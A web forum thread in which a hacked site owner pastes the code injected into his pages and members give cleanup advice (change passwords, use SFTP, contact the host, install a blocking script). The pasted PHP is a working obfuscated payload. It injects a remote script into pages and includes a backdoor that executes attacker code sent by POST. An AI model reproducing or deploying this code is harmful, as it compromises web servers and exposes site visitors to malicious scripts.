i have been hacked 2 time in 24H

[allan1976]

hello every body
i have been hacked in 24 hour 2 time
when i see my in dex i see error
they put this code in some page i deleted all my file from my site just they did not tuch my mysql i used agane but i have been hacked for the secund time with having the same code in all my page
.........................

Code: Select all

<?php eval(base64_decode('aWYoIWlzc2V0KCRiZjhweDEpKXtmdW5jdGlvbiBiZjhweCgkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdIGFzICR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8hXFtcXTovPD5cKFwpXXszMCx9IycsJHYpfHxwcmVnX21hdGNoKCcjW1woXFtdKFxzKlxkKywpezIwLH0jJywkdik7aWYoKHByZWdfbWF0Y2goJyNcYmV2YWxcYiMnLCR2KSYmKCRlfHxzdHJwb3MoJHYsJ2Zyb21DaGFyQ29kZScpKSl8fCgkZSYmc3RycG9zKCR2LCdkb2N1bWVudC53cml0ZScpKSkkcz1zdHJfcmVwbGFjZSgkdiwnJywkcyk7fWlmKHByZWdfbWF0Y2hfYWxsKCcjPGlmcmFtZSAoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopPy8vKFtePl0qPyk+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXSBhcyAkdilpZihwcmVnX21hdGNoKCcjIHdpZHRoXHMqPVxzKltcJyJdPzAqWzAxXVtcJyI+IF18ZGlzcGxheVxzKjpccypub25lI2knLCR2KSYmIXN0cnN0cigkdiwnPycuJz4nKSkkcz1wcmVnX3JlcGxhY2UoJyMnLnByZWdfcXVvdGUoJHYsJyMnKS4nLio/PC9pZnJhbWU+I2lzJywnJywkcyk7JHM9c3RyX3JlcGxhY2UoJGE9YmFzZTY0X2RlY29kZSgnUEhOamNtbHdkQ0J6Y21NOWFIUjBjRG92TDNSbkxtTnZMbXR5TDE5amIyMXdhV3hsTDJWaGJYQnpMbkJvY0NBK1BDOXpZM0pwY0hRKycpLCcnLCRzKTtpZihzdHJpc3RyKCRzLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHMpO2Vsc2VpZihzdHJwb3MoJHMsJyxhJykpJHMuPSRhO3JldHVybiAkczt9ZnVuY3Rpb24gYmY4cHgyKCRhLCRiLCRjLCRkKXtnbG9iYWwgJGJmOHB4MTskcz1hcnJheSgpO2lmKGZ1bmN0aW9uX2V4aXN0cygkYmY4cHgxKSljYWxsX3VzZXJfZnVuYygkYmY4cHgxLCRhLCRiLCRjLCRkKTtmb3JlYWNoKEBvYl9nZXRfc3RhdHVzKDEpIGFzICR2KWlmKCgkYT0kdlsnbmFtZSddKT09J2JmOHB4JylyZXR1cm47ZWxzZWlmKCRhPT0nb2JfZ3poYW5kbGVyJylicmVhaztlbHNlICRzW109YXJyYXkoJGE9PSdkZWZhdWx0IG91dHB1dCBoYW5kbGVyJz9mYWxzZTokYSk7Zm9yKCRpPWNvdW50KCRzKS0xOyRpPj0wOyRpLS0peyRzWyRpXVsxXT1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTt9b2Jfc3RhcnQoJ2JmOHB4Jyk7Zm9yKCRpPTA7JGk8Y291bnQoJHMpOyRpKyspe29iX3N0YXJ0KCRzWyRpXVswXSk7ZWNobyAkc1skaV1bMV07fX19JGJmOHB4bD0oKCRhPUBzZXRfZXJyb3JfaGFuZGxlcignYmY4cHgyJykpIT0nYmY4cHgyJyk/JGE6MDtldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydlJ10pKTs=')); ?>


thanks allot
allan

[allan1976]

no thing for me ??

[liketobemad]

This is a server wide attack.. with this your pages will sometimes redirect to pages with virus download, generally a fraud Nati Virus Website ... the thing is to change server or fix the server software...

[Chaser]

Protect your site with ZB Block: http://www.spambotsecurity.com/zbblock.php

[Hawk]

Change the password of your hosting account, use SFTP connection & clean your computer from viruses aswell.

[eberswine]

Protect your site with ZB Block: http://www.spambotsecurity.com/zbblock.php

How many people have used this?
Does it slow down page load?

Do you notice speed?

[allan1976]

thanks evry body
yes i think it was server attack
because i deleted evry thing and they hacked me agane
i changed password of evry things host mysql and ftp they did the same agane
i asked my host provider they told me yes we have some problem
and now i use
http://www.spambotsecurity.com/zbblock.php
i think it is working very good and for the moment im calm there i have no problem
thanks Chaser